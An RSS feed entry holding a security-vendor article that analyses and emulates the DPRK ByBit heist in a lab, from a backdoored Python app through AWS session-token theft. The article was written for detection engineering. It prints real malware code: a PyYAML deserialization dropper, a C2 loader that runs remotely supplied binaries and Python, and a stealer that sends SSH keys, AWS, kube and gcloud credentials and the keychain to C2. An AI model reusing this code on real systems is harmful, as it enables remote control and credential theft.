<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Colson Wilhoit</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 05 Mar 2026 22:21:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Colson Wilhoit</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Bit ByBit - emulation of the DPRK's largest cryptocurrency heist]]></title>
            <link>https://www.elastic.co/pt/security-labs/bit-bybit</link>
            <guid>bit-bybit</guid>
            <pubDate>Tue, 06 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A high-fidelity emulation of the DPRK's largest cryptocurrency heist via a compromised macOS developer and AWS pivots.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<p>Key takeaways from this research:</p>
<ul>
<li>PyYAML was deserialization as initial access vector</li>
<li>The attack leveraged session token abuse and AWS lateral movement</li>
<li>Static site supply chain tampering</li>
<li>Docker-based stealth on macOS</li>
<li>End-to-end detection correlation with Elastic</li>
</ul>
<h2>Introduction</h2>
<p>On February 21, 2025, the crypto world was shaken when approximately 400,000 ETH vanished from ByBit —one of the industry’s largest cryptocurrency exchanges. Behind this incredible theft is believed to be North Korea’s elite cyber-offensive unit, referred to as <a href="https://www.ic3.gov/PSA/2025/PSA250226">TraderTraitor</a>. Exploiting a trusted vendor relationship with Safe{Wallet}, a multisig (multi-signature) wallet platform, TraderTraitor transformed a routine transaction into a billion-dollar heist. Supply chain targeting has become a hallmark of the DPRK’s cyber strategy, underpinning the regime’s theft of more than <a href="https://www.chainalysis.com/blog/crypto-hacking-stolen-funds-2025/">$6 billion</a> in cryptocurrency since 2017. In this article we’ll dissect this attack, carefully emulate its tactics within a controlled environment, and provide practical lessons to reinforce cybersecurity defenses using Elastic’s product and features.</p>
<p>Our emulation of this threat is based on research released by <a href="https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/">Sygnia</a>, <a href="https://x.com/safe/status/1897663514975649938">Mandiant/SAFE</a>, <a href="https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34">SlowMist</a>, and <a href="https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/">Unit42</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image12.png" alt="" /></p>
<h2>Chronology of events</h2>
<p>If you're here for the technical emulation details, feel free to skip ahead. But for context— and to clarify what was officially reported— we've compiled a high-level timeline of events to ground our assumptions based on the research referenced above.</p>
<p><strong>February 2, 2025</strong> – Infrastructure Setup</p>
<p>The attacker registers the domain getstockprice[.]com via Namecheap. This infrastructure is later used as the C2 endpoint in the initial access payload.</p>
<p><strong>February 4, 2025</strong> – Initial Compromise</p>
<p>Developer1’s macOS workstation is compromised after executing a malicious Python application. This application contained Docker-related logic and referenced the attacker’s domain. The file path (<code>~/Downloads/</code>) and malware behavior suggest social engineering (likely via Telegram or Discord, consistent with past <a href="https://www.elastic.co/pt/security-labs/elastic-catches-dprk-passing-out-kandykorn">REF7001</a> and UNC4899 tradecraft).</p>
<p><strong>February 5, 2025</strong> – AWS Intrusion Begins</p>
<p>Attacker successfully accesses Safe{Wallet}’s AWS environment using Developer1’s active AWS session tokens.Attacker attempts (unsuccessfully) to register their own virtual MFA device to Developer1’s IAM user, indicating a persistence attempt.</p>
<p><strong>February 5–17</strong>: Reconnaissance activity begins within the AWS environment. During this time, attacker actions likely included the enumeration of IAM roles, S3 buckets, and other cloud assets.</p>
<p><strong>February 17, 2025</strong> – AWS Command and Control Activity</p>
<p>Confirmed C2 traffic observed in AWS. This marks the shift from passive reconnaissance to active staging of the attack.</p>
<p><strong>February 19, 2025</strong> – Web Application Tampering</p>
<p>A snapshot of app.safe.global (Safe{Wallet}’s statically hosted Next.js web app) captured by the Wayback Machine shows the presence of malicious JavaScript. The payload was crafted to detect a Bybit multisig transaction and modify it on-the-fly, redirecting funds to the attacker’s wallet.</p>
<p><strong>February 21, 2025</strong> – Execution and Cleanup</p>
<p>The exploit transaction is executed against Bybit via the compromised Safe{Wallet} frontend.</p>
<p>A new Wayback Machine snapshot confirms the JavaScript payload has been removed—indicating the attacker manually scrubbed it post-execution.</p>
<p>The Bybit heist transaction is finalized. Approximately 400,000 ETH is stolen. Subsequent analysis by Sygnia and others confirms that Bybit infrastructure was not directly compromised—Safe{Wallet} was the sole point of failure.</p>
<h2>Assumptions for emulation</h2>
<ul>
<li>Initial Social Engineering Vector:
Social engineering was employed to compromise Developer1, resulting in the execution of a malicious Python script. The exact details of the social engineering tactic (such as specific messaging, impersonation techniques, or the communication platform used) remain unknown.</li>
<li>Loader and Second-Stage Payload:
The malicious Python script executed a second-stage loader. It is currently unclear whether this loader and subsequent payloads match those detailed in Unit42's reporting, despite alignment in the initial access Python application's characteristics.</li>
<li>Safe Application Structure and Workflow:
The compromised application (<code>app.global.safe</code>) appears to be a Next.js application hosted statically in AWS S3. However, specific details such as its exact routes, components, development processes, version control methods, and production deployment workflow are unknown.</li>
<li>JavaScript Payload Deployment:
While attackers injected malicious JavaScript into the Safe{Wallet} application, it is unclear whether this involved rebuilding and redeploying the entire application or merely overwriting/modifying a specific JavaScript file.</li>
<li>AWS IAM and Identity Management Details:
Details regarding Developer1’s IAM permissions, roles, and policy configurations within AWS are unknown. Additionally, whether Safe{Wallet} used AWS IAM Identity Center or alternative identity management solutions remains unclear.</li>
<li>AWS Session Token Retrieval and Usage:
While reports confirm the attackers used temporary AWS session tokens, details about how Developer1 originally retrieved these tokens (such as through AWS SSO, <code>GetSessionToken</code>, or specific MFA configurations) and how they were subsequently stored or utilized (e.g., environment variables, AWS config files, custom scripts) are unknown.</li>
<li>AWS Enumeration and Exploitation Techniques:
The exact tools, enumeration methodologies, AWS API calls, and specific actions carried out by attackers within the AWS environment between February 5 and February 17, 2025, remain undisclosed.</li>
<li>AWS Persistence Mechanisms:
Although there is an indication of potential persistence within AWS infrastructure (e.g., via EC2 instance compromise), explicit details including tools, tactics, or persistence methods are not provided.</li>
</ul>
<h2>Overview of the attack</h2>
<p>Targeting companies within the crypto ecosystem is a common occurrence. DPRK continually targets these companies due to the relative anonymity and decentralized nature of cryptocurrency, enabling the regime to evade global financial sanctions. North Korea's offensive cyber groups excel at identifying and exploiting vulnerabilities, resulting in billions of dollars in losses.</p>
<p>This intrusion began with the <a href="https://x.com/safe/status/1897663514975649938?s=09">targeted compromise</a> of a developer's MacOS workstation at Safe{Wallet}, ByBit’s trusted multi-signature wallet provider. Initial access involved social engineering, likely approaching the developer via platforms like LinkedIn, Telegram, or Discord, based on previous campaigns, and convincing them to download an archive file containing a crypto-themed Python application—an initial access procedure favored by DPRK. This Python application also included a Dockerized version of the application that could be run inside a privileged container. Unknown to the developer, this seemingly benign application enabled DPRK operators to exploit a remote code execution (RCE) <a href="https://www.cvedetails.com/cve/CVE-2017-18342/">vulnerability</a> in the PyYAML library, providing code execution capabilities and subsequently control over the host system.</p>
<p>After gaining initial access to the developer's machine, attackers deployed <a href="https://github.com/its-a-feature/Mythic">MythicC2</a>'s <a href="https://github.com/MythicAgents/poseidon">Poseidon agent</a>, a robust Golang-based payload offering advanced stealth and extensive post-exploitation capabilities for macOS environments. The attackers then may have conducted reconnaissance, discovering the developer's access to Safe{Wallet}’s AWS environment and the usage of temporary AWS user session tokens secured via multi-factor authentication (MFA). Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe{Wallet}’s AWS environment within approximately 24 hours, capitalizing on the 12-hour validity of the session tokens.</p>
<p>Attempting to ensure persistent access to the AWS environment, the attackers tried to register their own MFA device. However, AWS temporary session tokens do not permit IAM API calls without <a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html#:~:text=You%20cannot%20call%20any%20IAM,in%20the%20IAM%20User%20Guide">MFA authentication context</a>, causing this attempt to fail. Following this minor setback, the threat actor enumerated the AWS environment, eventually discovering an S3 bucket hosting Safe{Wallet}'s static Next.js user interface.</p>
<p>The attackers could then have downloaded this Next.js application’s bundled code, spending nearly two weeks analyzing its functionality before injecting malicious JavaScript into the primary JS file and overwriting the legitimate version hosted in the S3 bucket. The malicious JavaScript code was activated exclusively on transactions initiated from Bybit’s cold wallet address and an attacker-controlled address. By inserting hardcoded parameters, the script circumvented transaction validation checks and digital signature verifications, effectively deceiving ByBit wallet approvers who implicitly trusted the Safe{Wallet} interface.</p>
<p>Shortly thereafter, the DPRK initiated a fraudulent transaction, triggering the malicious script to alter transaction details. This manipulation, likely, contributed to misleading the wallet signers into approving the illicit transfer, thereby granting DPRK operatives control of approximately 400,000 ETH. These stolen funds were then laundered into attacker-controlled wallets.</p>
<p>We chose to end our research and behavior emulation at the compromise of the Next.js application. Thus, we do not dive into the blockchain technologies, such as ETH smart contracts, contract addresses, and sweep ETH calls discussed in several other research publications.</p>
<h2>Emulating the attack</h2>
<p>To truly understand this breach we decided to emulate the entire attack chain in a controlled lab environment. As security researchers at Elastic, we wanted to walk in the footsteps of the attacker to understand how this operation unfolded at each stage: from code execution to AWS session hijacking and browser-based transaction manipulation.</p>
<p>This hands-on emulation served a dual purpose. First, it allowed us to analyze the attack at a granular, technical level to uncover practical detection and prevention opportunities. Second, it gave us the chance to test Elastic’s capabilities end-to-end—to see whether our platform could not only detect each phase of the attack, but also correlate them into a cohesive narrative that defenders could act on.</p>
<h3>MacOS endpoint compromise</h3>
<p>Thanks to <a href="https://unit42.paloaltonetworks.com/">Unit42</a>’s detailed write-up—and more critically, uploading recovered samples to VirusTotal—we were able to emulate the attack end-to-end using the actual payloads observed in the wild. This included:</p>
<ul>
<li>PyYAML deserialization payload</li>
<li>Python loader script</li>
<li>Python stealer script</li>
</ul>
<h4>Malicious Python Application</h4>
<p>The initial access Python application we used in our emulation aligns with samples highlighted and shared by <a href="https://www.slowmist.com/">SlowMist</a> and corroborated by Mandiant's <a href="https://x.com/safe/status/1897663514975649938">incident response findings</a> from the SAFE developer compromise. This application also matched the directory structure of the application shown by Unit42 in their write-up. Attackers forked a legitimate stock-trading Python project from GitHub and backdoored it within a Python script named <code>data_fetcher.py</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image13.png" alt="Python Application Directory Structure" /></p>
<p>The application leverages <a href="https://streamlit.io/">Streamlit</a> to execute <code>app.py</code>, which imports the script <code>data_fetcher.py</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image5.png" alt="Python Application README.txt usage" /></p>
<p>The <code>data_fetcher.py</code> script includes malicious functionality designed to reach out to an attacker-controlled domain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image8.png" alt="data_fetcher.py class with yaml.load functionality" /></p>
<p>The script, by default, fetches valid stock market-related data. However, based on specific conditions, the attacker-controlled server can return a malicious YAML payload instead. When evaluated using PyYAML’s unsafe loader (<code>yaml.load()</code>), this payload allows for arbitrary Python object deserialization, resulting in RCE.</p>
<h4>PyYAML Deserialization Payload</h4>
<p>(VT Hash: <code>47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f</code>)</p>
<p>We recreated this malicious setup by hosting the YAML deserialization payload on a Python+Flask web application, using PythonAnywhere to mimic attacker infrastructure. We updated the malicious URL in the <code>data_fetcher.py</code> script to point to our PythonAnywhere-hosted YAML payload.</p>
<p>When PyYAML loads and executes the malicious YAML payload, it performs the following actions:</p>
<p>First, it creates a directory named <code>Public</code> in the victim’s home directory.</p>
<pre><code class="language-py">directory = os.path.expanduser(&quot;~&quot;)
directory = os.path.join(directory, &quot;Public&quot;)

if not os.path.exists(directory):
    os.makedirs(directory)
</code></pre>
<p>Next, it decodes and writes a base64-encoded Python loader script into a new file named <code>__init__.py</code> within the <code>Public</code> directory.</p>
<pre><code class="language-py">filePath = os.path.join(directory, &quot;__init__.py&quot;)

with open(filePath, &quot;wb&quot;) as f:
    f.write(base64.b64decode(b&quot;BASE64_ENCODED_LOADER_SCRIPT&quot;))
</code></pre>
<p>Finally, it executes the newly created <code>__init__.py</code> script silently in the background, initiating the second stage of the attack.</p>
<pre><code class="language-py">subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
</code></pre>
<h4>Python Loader Script</h4>
<p>(VT Hash: <code>937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79</code>)</p>
<p>To avoid leaving forensic evidence, the loader first deletes its file (<code>__init__.py</code>) after execution, leaving it running in memory only.</p>
<pre><code class="language-py">directory = os.path.join(home_directory, &quot;Public&quot;)

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, &quot;__init__.py&quot;)
        os.remove(body_path)
</code></pre>
<p>This loader’s primary goal is to establish continuous communication with the Command-and-Control (C2) server. It gathers basic system information—like OS type, architecture, and system version—and sends these details to the C2 via an HTTP POST request to the hardcoded /club/fb/status URL endpoint.</p>
<pre><code class="language-py">params = {
        &quot;system&quot;: platform.system(),
        &quot;machine&quot;: platform.machine(),
        &quot;version&quot;: platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)
</code></pre>
<p>Based on the server’s response (ret value), the loader decides its next steps.</p>
<h5>ret == 0:</h5>
<p>The script sleeps for 20 seconds and continues polling.</p>
<pre><code class="language-py">if res['ret'] == 0:
    time.sleep(20)
    continue
</code></pre>
<h5>ret == 1:</h5>
<p>The server response includes a payload in Base64. The script decodes this payload, and writes it to a file—named <code>init.dll</code> if on Windows or <code>init</code> otherwise—and then dynamically loads the library using <code>ctypes.cdll.LoadLibrary</code>, which causes the payload to run as a native binary.</p>
<pre><code class="language-py">elif res['ret'] == 1:
    if platform.system() == &quot;Windows&quot;:
        body_path = os.path.join(directory, &quot;init.dll&quot;)
    else:
        body_path = os.path.join(directory, &quot;init&quot;)
        with open(body_path, &quot;wb&quot;) as f:
            binData = base64.b64decode(res[&quot;content&quot;])
            f.write(binData)
            os.environ[&quot;X_DATABASE_NAME&quot;] = &quot;&quot;
            ctypes.cdll.LoadLibrary(body_path)
</code></pre>
<h5>ret == 2:</h5>
<p>The script decodes the Base64 content into Python source code and then executes it using Python’s <code>exec()</code> function. This allows for running arbitrary Python code.</p>
<pre><code class="language-py">elif res['ret'] == 2:
    srcData = base64.b64decode(res[&quot;content&quot;])
    exec(srcData)
</code></pre>
<h5>ret == 3:</h5>
<p>The script decodes a binary payload (<code>dockerd</code>) and a binary configuration file (<code>docker-init</code>) into two separate files, sets their permissions to be executable, and then attempts to run them as a new process, supplying the config file as an argument to the binary payload. After execution of the binary payload, it deletes its executable file, leaving the config file on disk for reference.</p>
<pre><code class="language-py">elif res['ret'] == 3:
    path1 = os.path.join(directory, &quot;dockerd&quot;)
    with open(path1, &quot;wb&quot;) as f:
        binData = base64.b64decode(res[&quot;content&quot;])
        f.write(binData)

    path2 = os.path.join(directory, &quot;docker-init&quot;)
    with open(path2, &quot;wb&quot;) as f:
        binData = base64.b64decode(res[&quot;param&quot;])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={&quot;result&quot;: str(return_code)})
    except:
        pass

    os.remove(path1)
</code></pre>
<h5>ret == 9:</h5>
<p>The script breaks out of its polling loop, terminating further actions.</p>
<pre><code class="language-py">elif res['ret'] == 9:
    break
</code></pre>
<p>After processing any command, the script continues to poll for further instructions from the C2 server.</p>
<h4>Python Loader Emulation</h4>
<p>Our goal was to test each of the command options within the loader to better understand what was happening, collect relevant telemetry data, and analyze it for the purpose of building robust detections for both our endpoint and the SIEM.</p>
<p><strong>Ret == 1: Write Library to Disk, Load and Delete Dylib</strong></p>
<p>The payload we used for this option was a <a href="https://github.com/MythicAgents/poseidon">Poseidon</a> payload compiled as a shared library (<code>.dylib</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image9.png" alt="Mythic C2 Payload Builder" /></p>
<p>We then base64-encoded the binary and were able to hardcode the path to that base64-encoded payload in our C2 server to be served when testing this specific loader command.</p>
<pre><code class="language-shell">base64 poseidon.dylib &gt; poseidon.b64
</code></pre>
<pre><code class="language-py">BINARY_PAYLOAD_B64 = &quot;BASE64_ENCODED_DYLIB_PAYLOAD&quot;  # For ret==1
STEALER_PAYLOAD_B64 = &quot;BASE64_ENCODED_STEALER_SCRIPT&quot; # For ret==2
MULTI_STAGE_PAYLOAD_B64 = &quot;BASE64_ENCODED_MULTISTAGE_PAYLOAD&quot; # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions
</code></pre>
<p>Once we received our Poseidon payload callback to our <a href="https://github.com/its-a-feature/Mythic">Mythic C2</a> we were able to retrieve credentials using a variety of different methods provided by Poseidon.</p>
<p>Option 1: <a href="https://github.com/MythicAgents/poseidon/blob/master/documentation-payload/poseidon/commands/download.md">download command</a> - Access file, reads content, sends data back to C2.<br />
Option 2: <a href="https://github.com/MythicAgents/poseidon/blob/master/documentation-payload/poseidon/commands/getenv.md">getenv command</a> - Read user environment variables and send content back to C2.<br />
Option 3: <a href="https://github.com/MythicAgents/poseidon/blob/master/Payload_Type/poseidon/poseidon/agentfunctions/jsimport.go">jsimport</a> &amp; <a href="https://github.com/MythicAgents/poseidon/blob/master/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go">jsimport_call</a> commands - Import JXA script into memory then call a method within the JXA script to retrieve credentials from file and return contents.</p>
<h5>Ret == 2: Receive and Execute arbitrary Python code within Process Memory</h5>
<p>(VT Hash: <code>e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7</code>)</p>
<p>The loader script allows for the running of arbitrary Python code or scripts, in memory. In Unit42’s blog they provided a Python script they observed the DPRK executing via this return value. This script collects a vast amount of data. This data is XOR encoded and sent back to the C2 server via a POST request. For the emulation all that was needed was to add our C2 URL with the appropriate route as defined in our C2 server and base64 encode the script hardcoding its path within our server for when this option was tested.</p>
<pre><code class="language-py">def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break
</code></pre>
<h5>Ret == 3: Write Binary Payload and Binary Config to Disk, Execute Payload and Delete File</h5>
<p>For ret == 3 we used a standard Poseidon binary payload and a “configuration file” containing binary data as specified in the loader script. We then base64 encoded both the binary and config file like the ret == 1 option above and hardcoded their paths in our C2 server for serving when testing this command. Same as the ret == 1 option above we were able to use those same commands to collect credentials from the target system.</p>
<h4>C2 Infrastructure</h4>
<p>We created a very simple and small C2 server, built with Python+Flask, intended to listen with a specified port on our Kali Linux VM and evaluate incoming requests, responding appropriately based on the route and return value we wished to test.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image15.png" alt="Custom Python+Flask C2 Server" /></p>
<p>We also used the open source <a href="https://github.com/its-a-feature/Mythic">Mythic C2</a> in order to facilitate the creation and management of the Poseidon payloads we used. Mythic is an open source C2 framework created and maintained by <a href="https://github.com/its-a-feature">Cody Thomas</a> at <a href="https://specterops.io/">SpecterOps</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image14.png" alt="Mythic C2 Active Callbacks Interactive Agent Window" /></p>
<h4>Malicious Python Application: Docker Version</h4>
<p>We also explored a Dockerized variant of the malicious Python application. This version was packaged in a minimal Python Docker container (python:3.12.2-slim) running in privileged mode, granting it the ability to access host resources.</p>
<p>A containerized application creates a telemetry and detection blind spot on macOS because Apple's Endpoint Security Framework (ESF) lacks the ability to introspect containerized processes. While ESF and endpoint detection solutions can still observe the trusted Docker process accessing sensitive host files—such as SSH keys, AWS credentials, or user configuration data—these actions commonly align with standard developer workflows. As a result, security tools are less likely to scrutinize or trigger alerts on containerized activities, offering attackers increased stealth when operating from within Docker environments.</p>
<p>This highlights the necessity for additional monitoring like <a href="https://www.osquery.io/">OSQuery</a> and <a href="https://www.docker.com/">Docker</a> log file collection to complement standard macOS endpoint defenses. Elastic offers both <a href="https://www.elastic.co/pt/docs/reference/integrations/osquery_manager">OSQuery</a> and <a href="https://www.elastic.co/pt/docs/reference/beats/filebeat/filebeat-input-container">Docker</a> log file collection via our <a href="https://www.elastic.co/pt/integrations/data-integrations">data integrations</a> for Elastic Agent alongside our Endpoint protection features.</p>
<h4>MacOS Emulation Conclusion</h4>
<p>Our emulation recreated the attack against the SAFE developers’ macOS system end-to-end using the real world payloads.</p>
<p><strong>Malicious Python App:</strong></p>
<p>We began by replicating the malicious Python application described in both Mandiant’s findings and Unit42’s report. The attackers had forked a legitimate open-source application and embedded RCE access within <code>data_fetcher.py</code>. This script made outbound requests to an attacker-controlled server and conditionally fetched a malicious YAML file. Using PyYAML’s <code>yaml.load()</code> with an unsafe loader, the attacker triggered arbitrary code execution via deserialization.</p>
<p><strong>PyYAML Payload Deserialization resulting in Python Loader Script Execution:</strong></p>
<p>The YAML payload wrote a base64-encoded second-stage loader to <code>~/Public/__init__.py</code> and executed it in a detached process. We mimicked this exact flow using a Flask-based staging server hosted on PythonAnywhere.</p>
<p><strong>Python Loader Execution &amp; C2 Interaction:</strong></p>
<p>Once launched, the loader deleted its on disk file and beaconed to our emulated C2, awaited tasking. Based on the C2’s response code (<code>ret</code>), we tested the following actions:</p>
<ul>
<li><strong>ret == 1</strong>: The loader decoded a Poseidon payload (compiled as a <code>.dylib</code>) and executed it using <code>ctypes.cdll.LoadLibrary()</code>, resulting in native code execution from disk.</li>
<li><strong>ret == 2</strong>: The loader executed an in-memory Python stealer, matching the script shared by Unit42. This script collected system, user, browser, and credential data and exfiltrated it via XOR-encoded POST requests.</li>
<li><strong>ret == 3</strong>: The loader wrote a Poseidon binary and a separate binary configuration file to disk, executed the binary with the config as an argument, then deleted the payload.</li>
<li><strong>ret == 9</strong>: The loader terminated its polling loop.</li>
</ul>
<p><strong>Data Collection: Pre-Pivot Recon &amp; Credential Access:</strong></p>
<p>During our <strong>ret == 2</strong> test, the Python stealer gathered:</p>
<ul>
<li>macOS system information (<code>platform</code>, <code>os</code>, <code>user</code>)</li>
<li>Chrome user data (Bookmarks, Cookies, Login Data, etc.)</li>
<li>SSH private keys (<code>~/.ssh</code>)</li>
<li>AWS credentials (<code>~/.aws/credentials</code>)</li>
<li>macOS Keychain files (<code>login.keychain-db</code>)</li>
<li>GCP/Kube config files from <code>.config/</code></li>
</ul>
<p>This emulates the pre-pivot data collection that preceded cloud exploitation, and reflects how DPRK actors harvested AWS credentials from the developer’s local environment.</p>
<p>With valid AWS credentials, the threat actors then pivoted into the cloud environment, launching the second phase of this intrusion.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image22.png" alt="AWS cloud compromise execution flow" /></p>
<h3>AWS cloud compromise</h3>
<h4>Pre-requisities and Setup</h4>
<p>To emulate the AWS stage of this attack, we first leveraged Terraform to stand up the necessary infrastructure. This included creating an IAM user (developer) with an overly permissive IAM policy granting access to S3, IAM, and STS APIs. We then pushed a locally built Next.js application to an S3 bucket and confirmed the site was live, simulating a simple Safe{Wallet} frontend.</p>
<p>Our choice of <code>Next.js</code> was predicated on the original S3 bucket static site path - <code>https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js</code></p>
<p>Before injecting any malicious code, we verified the integrity of the site by performing a test transaction using a known target wallet address to ensure the application responded as expected.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image1.png" alt="Transaction by custom frontend static site" /></p>
<h4>Temporary Session Token Retrieval</h4>
<p>Following the initial access and post-compromise activity on the developer’s macOS workstation, early assumptions focused on the adversary retrieving credentials from default AWS configuration locations - such as <code>~/.aws</code> or from user environment variables. It was later confirmed by Unit42’s blog that the Python stealer script targeted AWS files. These locations often store long-term IAM credentials or temporary session tokens used in standard development workflows. Based on public reporting, however, this specific compromise involved AWS user session tokens, not long-term IAM credentials. In our emulation, as the developer we added our virtual MFA device to our IAM user, enabled it and then retrieved our user session token and exported the credentials to our environment. Note that on our Kali Linux endpoint, we leveraged ExpressVPN - as done by the adversaries - for any AWS API calls or interactions with the developer box.</p>
<p>It is suspected that the developer obtained temporary AWS credentials either by the <a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html">GetSessionToken</a> API operation or by logging in via AWS Single Sign-On (SSO) using the AWS CLI. Both methods result in short-lived credentials being cached locally and usable for CLI or SDK-based interactions. These temporary credentials were then likely cached in the <code>~/.aws</code> files or exported as environment variables on the macOS system.</p>
<p>In the <em>GetSessionToken</em> scenario, the developer would have executed a command as such:</p>
<pre><code class="language-shell">aws sts get-session-token --serial-number &quot;$ARN&quot; --token-code &quot;$FINAL_CODE&quot;  --duration-seconds 43200 --profile &quot;$AWS_PROFILE&quot; --output json
</code></pre>
<p>In the SSO-based authentication scenario, the developer may have run:</p>
<pre><code class="language-shell">aws configure sso 
aws sso login -profile &quot;$AWS_PROFILE&quot; -use-device-code &quot;OTP&quot;`
</code></pre>
<p>Either method results in temporary credentials (access key, secret and session token) being saved in <code>~/.aws</code> files and made available to the configured AWS profile. These credentials are then used automatically by tools like the AWS CLI or SDKs like Boto3 unless overridden. In either case, if malware or an adversary had access to the developer’s macOS system, these credentials could have been easily harvested from the environment variables, AWS config cache or credentials file.</p>
<p>To obtain these credentials for Developer1 were created a custom script for quick automation. It created a virtual MFA device in AWS, registered the device with our Developer1 user, then called <code>GetSessionToken</code> from STS - adding the returned temporary user session credentials to our macOS endpoint as environment variables as shown below.</p>
<h4>MFA Device Registration Attempts</h4>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image20.png" alt="Registering our MFA device for the developer and retrieving user session token via shellscript" /></p>
<p>One key assumption here is that the developer was working with a user session that had MFA enabled, either for direct use or to assume a custom-managed IAM role. Our assumption derives from the credential material compromised - AWS temporary user session tokens, which are not obtained from the console but rather requested on demand from STS. Temporary credentials returned from <code>GetSessionToken</code> or SSO by default expire after a certain number of hours, and a session token with the ASIA* prefix would suggest that the adversary harvested a short-lived but high-impact credential. This aligns with behaviors seen in previous DPRK-attributed attacks where credentials and configurations for Kubernetes, GCP, and AWS were extracted and reused.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image11.png" alt="Environment variables output of our AWS user session token after GetSessionToken call" /></p>
<h4>Assuming the Compromised Identity on Kali</h4>
<p>Once the AWS session token was collected, the adversary likely stored it on their Kali Linux system either in the standard AWS credential locations (e.g., <code>~/.aws/credentials</code> or as environment variables) or potentially in a custom file structure, depending on tooling in use. While the AWS CLI defaults to reading from <code>~/.aws/credentials</code> and environment variables, a Python script leveraging Boto3 could be configured to source credentials from nearly any file or path. Given the speed and precision of the post-compromise activity, it is plausible that the attacker used either the AWS CLI, direct Boto3 SDK calls, or shell scripts wrapping CLI commands - all of which offer convenience and built-in request signing.</p>
<p>What seems less likely is that the attacker manually signed AWS API requests using SigV4, as this would be unnecessarily slow and operationally complex. It’s also important to note that no public blog has disclosed which user agent string was associated with the session token usage (e.g. aws-cli, botocore, etc.), which leaves uncertainty around the attacker’s exact tools. That said, given DRPK’s established reliance on Python and the speed of the attack, CLI or SDK usage remains the most reasonable assumption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image16.png" alt="MythicC2 getenv command output" /></p>
<p><strong>Note:</strong> We did this in emulation with our Poseidon payload prior to Unit 42’s blog about the RN Loader capabilities.</p>
<p>It’s important to clarify a nuance about the AWS authentication model: using a session token does not <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_getsessiontoken.html">inherently block access to IAM API actions</a> - even actions like <a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateVirtualMFADevice.html">CreateVirtualMFADevice</a> - as long as the session was initially established with MFA. In our emulation, we attempted to replicate this behavior using a stolen session token that had MFA context. Interestingly, our attempts to register an additional MFA device failed, suggesting that there may be additional safeguards, such as explicit policy constraints, that prevent MFA registration via session tokens or the details of this behavior are still too vague and we incorrectly mimicked the behavior. While the exact failure reason remains unclear, this behavior warrants deeper investigation into the IAM policies and authentication context associated with session-bound actions.</p>
<h4>S3 Asset Enumeration</h4>
